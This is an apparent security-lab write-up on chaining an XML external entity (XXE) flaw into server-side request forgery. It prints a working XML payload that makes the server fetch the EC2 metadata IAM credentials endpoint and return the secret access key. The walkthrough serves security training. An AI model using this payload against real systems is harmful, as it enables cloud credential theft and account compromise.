XXE to SSRF Overview
This lab is very similar to the previous one.
In the first lab, we used a SYSTEM entity to read a local file.
Here, instead of a file URL, we use an external HTTP URL, which allows us to turn the XXE into an SSRF.
Basic external entity definition:
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "http://url"> ]>
Enumerating the Metadata Endpoint
We start by sending a request to:
http://169.254.169.254/
The response shows an invalid product ID and the value latest.
From this, we can assume that latest is a valid path and represents the available metadata version.
By enumerating further, we reach the IAM credentials endpoint:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
This URL returns the IAM role credentials, including the secret access key.
Final Exploit Payload
We define an external entity pointing to the metadata endpoint and reference it inside the <productId> element.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> <stockCheck> <productId> &bar; </productId> <storeId> 1 </storeId> </stockCheck>
Result
When the XML is parsed, the external entity is resolved by the server, causing it to make an internal HTTP request to the EC2 metadata service. The response contains the IAM credentials, including the secret access key, successfully completing the lab.